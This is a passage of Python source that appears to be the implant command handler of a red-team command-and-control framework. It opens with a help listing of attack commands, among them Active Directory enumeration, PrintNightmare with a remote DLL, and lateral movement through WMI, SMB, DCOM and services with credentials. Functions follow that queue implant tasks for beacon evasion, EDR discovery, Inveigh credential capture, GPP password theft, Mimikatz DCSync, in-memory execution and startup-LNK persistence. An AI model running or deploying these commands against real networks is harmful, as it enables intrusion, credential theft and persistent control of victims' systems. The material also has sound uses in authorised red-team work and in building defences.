|
|
rubeus monitor /interval:1
|
|
localgroupmember server1.blorebank.local administrators
|
|
certify find /vulnerable /currentuser
|
|
net-share-enum fileserver1.blorebank.local
|
|
net-session-enum fileserver1.blorebank.local
|
|
sharpprintnightmare \\\\192.168.1.215\\smb\\addCube.dll \\\\192.168.1.20 hackit.local domain_user Pass123
|
|
sharpshares ips
|
|
sharpshares shares
|
|
sharpview Get-NetUser -SamAccountName ben
|
|
sharpview Get-NetGroup -Name *admin* -Domain -Properties samaccountname,member -Recurse
|
|
sharpview Get-NetGroupMember -LDAPFilter GroupName=*Admins* -Recurse -Properties samaccountname
|
|
sharpview Get-NetUser -Name deb -Domain blorebank.local
|
|
sharpview Get-NetSession -Domain blorebank.local
|
|
sharpview Get-NetOU -Properties distinguishedname
|
|
sharpview Get-DomainController -Domain blorebank.local
|
|
sharpview Get-DomainUser -LDAPFilter samaccountname=ben -Properties samaccountname,mail
|
|
sharpview Get-DomainUser -AdminCount -Properties samaccountname
|
|
sharpview Get-DomainComputer -LDAPFilter operatingsystem=*2012* -Properties samaccountname
|
|
sharpview Find-InterestingFile -Path c:\\users\\ -Include *exe*
|
|
sharpview Find-InterestingDomainShareFile -ComputerName SERVER01
|
|
sharpview Get-DomainComputer -SearchBase "OU=Domain Controllers,DC=contoso,DC=local" -Properties samaccountname
|
|
sharpview Get-NetShare -ComputerName SERVER01
|
|
sharpwmi action=query query="select * from win32_process"
|
|
sharpwmi action=query query="select * from win32_process where name='explorer.exe'" computername=SERVER01,SERVER02
|
|
sharpwmi action=create command="C:\\windows\\system32\\rundll32 [args]" computername=SERVER01,SERVER02
|
|
sharpwmi action=create command="C:\\windows\\system32\\rundll32 [args]" computername=SERVER01,SERVER02
|
|
sharpwmi action=query query="select * from win32_process" computername=SERVER01 username=DOMAIN\\user password=Password123!
|
|
sharpwmi action=query query="select * FROM AntiVirusProduct" namespace="root\\SecurityCenter2"
|
|
sharpwmi action=query query="Select * from Win32_GroupUser" computername=SERVER01 username=DOMAIN\\user password=Password123!
|
|
getremoteprocesslisting SERVER01 explorer.exe
|
|
getremoteprocesslisting SERVER01,SERVER02,SERVER03 taskhost.exe
|
|
getremoteprocesslistingall SERVER01,SERVER02
|
|
portscan "10.0.0.1-50" "1-65535" 1 100 # <hosts> <ports> <delay-in-seconds> <max-threads>
|
|
ping ip/hostname
|
|
ipconfig
|
|
nslookup ip/hostname
|
|
standin --asrep
|
|
standin --spn
|
|
standin --delegation
|
|
standin --dc
|
|
standin --group "Domain Admins"
|
|
standin --object samaccountname=DC$
|
|
standin --object samaccountname=administrator --property=mail
|
|
eventlogsearcher bloredc1,bloredc2,bloredc3 "ben|deb|lisa|corin" 2
|
|
eventlogsearcher bloredc1,bloredc2,bloredc3 "ben|deb|lisa|corin" 2 verbose=true
|
|
ldap-searcher "(&(objectClass=domainDNS))"
|
|
ldap-searcher "(&(objectCategory=trustedDomain))"
|
|
ldap-searcher "(&(objectClass=pKIEnrollmentService))" LDAP://CN=Configuration,DC=blorebank,DC=local
|
|
ldap-searcher "(&(objectClass=domainDNS))" LDAP://DC=blorebank,DC=local name,distinguishedname,pwdhistorylength,dc,ms-ds-machineaccountquota
|
|
ldap-searcher "(&(objectCategory=user)(samaccountname=administrator))"
|
|
ldap-searcher "(&(objectCategory=group)(samaccountname=domain admins))"
|
|
ldap-searcher "(&(objectCategory=user)(mail=admin@test.local))" LDAP://DC=test,DC=local
|
|
ldap-searcher "(&(objectCategory=user)(mail=admin@test.local))" LDAP://DC=test,DC=local samaccountname
|
|
ldap-searcher "(&(objectCategory=user)(samaccountname=*)(!userAccountControl:1.2.840.113556.1.4.803:=2))" "LDAP://DC=test,DC=local" samaccountname
|
|
ldap-searcher "(objectCategory=computer)" "LDAP://OU=Domain Controllers,DC=blorebank,DC=local" samaccountname
|
|
ldap-searcher "(&(objectCategory=organizationalUnit))" LDAP://DC=blorebank,DC=local name,distinguishedname
|
|
ldap-searcher "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" LDAP://DC=blorebank,DC=local samaccountname
|
|
getgpppassword
|
|
getgppgroups \\\\bloredc1.blorebank.local\\sysvol\\blorebank.local\\policies\\
|
|
|
|
* Lateral Movement:
|
|
====================
|
|
sharpwmi action=create command="C:\\windows\\system32\\rundll32 [args]" computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123!
|
|
sharpwmi action=executevbs computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123! payload=base64
|
|
sharpwmi action=executejs computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123! payload=base64
|
|
wmiexec <127.0.0.1> <domain> <username> [password=asdsa] [hash=DA22332] <command>
|
|
smbexec <127.0.0.1> <domain> <username> [password=asdsa] [hash=DA22332] <command> [servicename] [SMB1]
|
|
dcomexec -t 10.0.0.1 -m mmc -c c:\\windows\\system32\\cmd.exe -a "/c notepad.exe"
|
|
dcomexec -t 10.0.0.1 -m shellbrowserwindow -c c:\\windows\\system32\\cmd.exe -a "/c notepad.exe"
|
|
dcomexec -t 10.0.0.1 -m shellwindows -c c:\\windows\\system32\\cmd.exe -a "/c notepad.exe"
|
|
sharpsc SERVER01 service "cmd /c rundll32.exe test.dll,Ep" domain username password
|
|
pbind-connect hostname
|
|
pbind-connect hostname <pipename> <secret>
|
|
fcomm-connect
|
|
fcomm-connect filepath
|
|
sharptelnet <host> <port> <username> <password> [command]
|
|
|
|
* Lateral Movement with Pre-Built Payload:
|
|
===========================================
|
|
sharpwmi action=executejs computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123!
|
|
sharpwmi action=executevbs computername=SERVER01,SERVER02 username=DOMAIN\\user password=Password123!
|
|
startdaisy
|
|
stopdaisy
|
|
|
|
* Socks:
|
|
=========
|
|
sharpsocks
|
|
sharpsocks --verbose
|
|
stopsocks
|
|
|
|
* Bloodhound (In Memory only):
|
|
===============================
|
|
sharphound -c DCOnly --MemoryOnlyJSON --MemoryOnlyZIP --NoSaveCache
|
|
sharphound -c Container,Group,LocalGroup,GPOLocalGroup,ObjectProps,ACL,Trusts,RDP,DCOM,PSRemote,Session,LoggedOn,Default --MemoryOnlyJSON --MemoryOnlyZIP --NoSaveCache
|
|
|
|
* Bloodhound:
|
|
==============
|
|
sharphound -c DCOnly --outputdirectory c:\\users\\public --nosavecache --RandomizeFilenames --zipfilename backup_small.zip --collectallproperties
|
|
sharphound -c Container,Group,LocalGroup,GPOLocalGroup,ObjectProps,ACL,Trusts,RDP,DCOM,PSRemote,Session,LoggedOn,Default --outputdirectory c:\\users\\public --nosavecache --RandomizeFilenames --zipfilename backup_full.zip --collectallproperties
|
|
|
|
* Run Generic C# Executable:
|
|
=============================
|
|
# See Alias.py for examples or to add your own aliases
|
|
loadmodule MyBinary.exe
|
|
run-exe <FullyQualifiedClassWithMainMethod> <MyBinaryAssemblyName>
|
|
|
|
* Dynamically compile and run code on the target:
|
|
=================================================
|
|
# Edit payloads/DynamicCode.cs then:
|
|
dynamic-code
|
|
dynamic-code <args>
|
|
|
|
"""
|
|
|
|
print_good(sharp_help)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Help])
|
|
def do_search_help(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Search the command list for commands containing the keyword.
|
|
|
|
The search is case insensitive.
|
|
The -verbose option will search within and print the help for each command also.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
search-help psexec
|
|
search-help -verbose psexec
|
|
"""
|
|
search_help(command, commands_help)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Comms, Tag.Util])
|
|
def do_turtle(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Turtle the implant for a set period of time, preventing any beacons for the provided period.
|
|
|
|
Once the time period has expired, the implant will resume beaconing.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
turtle 30s
|
|
turtle 10m
|
|
turtle 12h
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Comms, Tag.Data_Gathering])
|
|
def do_ssl_inspection_check(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Return the certificate metadata from the HTTPS server on the specified URL.
|
|
|
|
Accepts proxy arguments.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
ssl-inspection-check https://www.google.com <proxyhost> <proxyuser> <proxypass> <useragent>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util, Tag.Comms])
|
|
def do_get_rotation(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Display any applicable URL rotation information.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-rotation
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Filesystem, Tag.Opsec])
|
|
def do_posh_delete(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Securely deletes a file passed as an argument.
|
|
|
|
Should make retrievable harder due to overwriting.
|
|
|
|
Accepts UNC paths.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
posh-delete C:\\users\\public\\test.txt
|
|
posh-delete \\Server01\\C$\\Temp\\posh.dll
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Filesystem], name="cat")
|
|
def do_get_content(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Prints the contents of a file to the C2 log.
|
|
|
|
Does not support 0x00 characters (as found in LNK files).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
gc "C:\\users\\public\\myfile.txt"
|
|
get-content "C:\\users\\public\\myfile.txt"
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_user_info(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Returns information on last boot time, local users and group memberships using local queries.
|
|
|
|
If running with a correct domain context, will also return information about the current user
|
|
and the domain password policy.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-user_info
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_dodgy_processes(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Returns 'interesting' processes such as AV products and EDRs.
|
|
|
|
For a comprehensive look at what EDR and defensive software is present, use SeatBelt and SharpEDRChecker.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-dodgy-processes
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_pslo(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Loads a PowerShell module into memory for use with sharpps.
|
|
|
|
Will also load the PowerShell wrapper and System.Management.Automation.dll into
|
|
memory on the implant if not already present.
|
|
|
|
Consider your host process before using this within more mature organisations.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
pslo PowerView_dev.ps1
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpedrchecker(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs SharpEDRChecker to check for EDRs and security tooling.
|
|
|
|
https://github.com/PwnDexter/SharpEDRChecker
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpedrchecker
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpps(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gives access to previously loaded PowerShell functionality.
|
|
|
|
Will load the PowerShell wrapper and System.Management.Automation.dll into
|
|
memory on the implant if not already present.
|
|
|
|
Use pslo to load PowerShell modules.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpps Get-NetUser bob
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_runas(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gives command execution in the context of a different user using CreateProcessWithLogonW.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
runas <user> <password> <os command> <domain> <timeout> <logontype>
|
|
runas bob Password123 whoami domain.local <optional timeout in seconds> <valid logontype (2,3 etc)
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_resolve_ip(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uses the locally configured DNS server to perform a DNS lookup.
|
|
|
|
Returns a hostname.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
resolve-ip 192.168.1.10
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_resolve_dns_name(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uses the locally configured DNS server to perform a reverse DNS lookup.
|
|
|
|
Don't supply any protocol information.
|
|
Returns an IP.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
resolve-dns-name google.com
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_inveigh(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Loads InveighZero into memory and runs it with the default options.
|
|
|
|
InveighZero will detect whether it is elevated or not and act accordingly.
|
|
|
|
Runs as a background task and will post back output upon each beacon.
|
|
|
|
Use stopinveigh to stop it.
|
|
|
|
https://github.com/Kevin-Robertson/InveighZero
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
inveigh
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_stop_inveigh(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Stops the Inveigh background job from running.
|
|
|
|
Does not remove the assembly from memory.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stop-inveigh
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_stop_socks(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Stops SharpSocks.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stop-socks
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_installer_info(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets installer info.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-installer-info
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_gpp_password(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Extracts the Group Policy Password, if possible.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-gpp-password
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_stickynotes_extract(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Extracts information stored in Windows StickyNotes.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stickynotes-extract
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_stickynotes_persist(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
# TODO
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stickynotes-persist
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sharpapplocker(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Enumerates local AppLocker configuration on the target.
|
|
|
|
Takes a variety of arguments but -e is likely to be the most effective.
|
|
|
|
https://github.com/Flangvik/SharpAppLocker/
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpapplocker -l (queries local AppLocker config)
|
|
sharpapplocker -e (queries effective AppLocker config - mixture of domain and local settings). Will crash implant if AppLocker NOT enabled.
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_lockless(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Copy files that are open and locked.
|
|
|
|
https://github.com/GhostPack/Lockless
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
lockless <path to file> (will return a process)
|
|
lockless <path to file> /process:<process doing the locking /copy:<path to output file (optional)>
|
|
lockless.exe WebCacheV01.dat /process:taskhostw /copy:C:\\Temp\\out.tmp
|
|
lockless all (displays all open handles)
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_load_powerstatus(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Loads the powerstatus monitoring DLL into memory.
|
|
|
|
This is loaded by default for Sharp Implants.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
load-powerstatus
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_powerstatus(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Displays the last known power status in the implant handler, and queries the implant for power status on next beacon.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-powerstatus
|
|
"""
|
|
get_powerstatus(implant_id)
|
|
command = "run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_create_startuplnk(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Creates an LNK in the currently logged on user Startup directory.
|
|
|
|
Consider your host process before writing to disk.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
create-startuplnk test.lnk c:\\windows\\system32\\rundll32.exe c:\\users\\public\\test.dll,VoidFunc
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_create_lnk(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Creates an LNK in the specified directory.
|
|
|
|
Consider your host process before writing to disk.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
create-lnk c:\\users\\public\\test.lnk c:\\windows\\system32\\rundll32.exe c:\\users\\public\\test.dll,VoidFunc
|
|
create-lnk <path to drop LNK> <path to exe / rundll32> <any args required (eg dll etp)>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_start_shortcut(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Simulates a user clicking on the shortcut you have created.
|
|
|
|
Useful for testing your Startup persistence or similar.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
start-shortcut c:\\users\\public\\image.lnk
|
|
start-shortcut <path to LNK>
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_run_exe_background(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Run your EXE in memory as a background task, with output posted back upon each beacon.
|
|
|
|
Need to specify all arguments.
|
|
|
|
The entrypoint is assumed to be Main.
|
|
|
|
The module must be loaded with load-module first.
|
|
|
|
Useful with, for example, Inveigh or Rubeus monitor mode.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
run-exe-background Core.Program Core runmylongapp
|
|
run-exe-background Rubeus.Program Rubeus monitor /interval:5 /filteruser:DC01$
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_run_dll_background(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Run your DLL in memory as a background task, with output posted back upon each beacon.
|
|
|
|
Need to specify all arguments & the entry point.
|
|
|
|
The module must be loaded with load-module first.
|
|
|
|
Useful with, for example, Inveigh or Rubeus monitor mode.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
run-dll-background Core.Program Core runmylongll
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_run_dll(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Run your DLL in memory.
|
|
|
|
Need to specify all arguments & the entry point.
|
|
|
|
The module must be loaded with load-module first.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command "\"lsadump::dcsync /user:administrator\""
|
|
run-dll SharpSploit.Enumeration.Host SharpSploit GetHostname
|
|
run-dll SharpSploit.Enumeration.Host SharpSploit GetProcessList
|
|
run-dll Seatbelt.Program Seatbelt UserChecks
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_run_exe(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Run your EXE in memory.
|
|
|
|
Need to specify all arguments.
|
|
|
|
The entrypoint is assumed to be Main.
|
|
|
|
The module must be loaded with load-module first.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
run-exe <FullyQualifiedClassWithMainMethod> <MyBinaryAssemblyName> (load-module MyBinary.exe first)
|
|
run-exe Core.Program Core
|
|
run-exe Rubeus.Program Rubeus klist
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="mv")
|
|
def do_move(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Move a file from A to B.
|
|
|
|
Uses inbuilt .NET code and does not call shell commands.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
move c:\\temp\\old.exe c:\\temp\\new.exe
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="cp")
|
|
def do_copy(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Copy a file from A to B.
|
|
|
|
Uses inbuilt .NET code and does not call shell commands.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
copy:\\temp\\test.exe c:\\temp\\test.bak
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_ls(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
List a directory.
|
|
|
|
Includes hidden and system files.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
ls C:\\users\\public
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_ls_recurse(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
List a directory recursively.
|
|
|
|
Includes hidden and system files - eg listing C:\\ will result in a large amount of output.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
ls-recurse C:\\users\\public
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="rm")
|
|
def do_del(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Delete a file.
|
|
|
|
Not secure - use posh-delete if required.
|
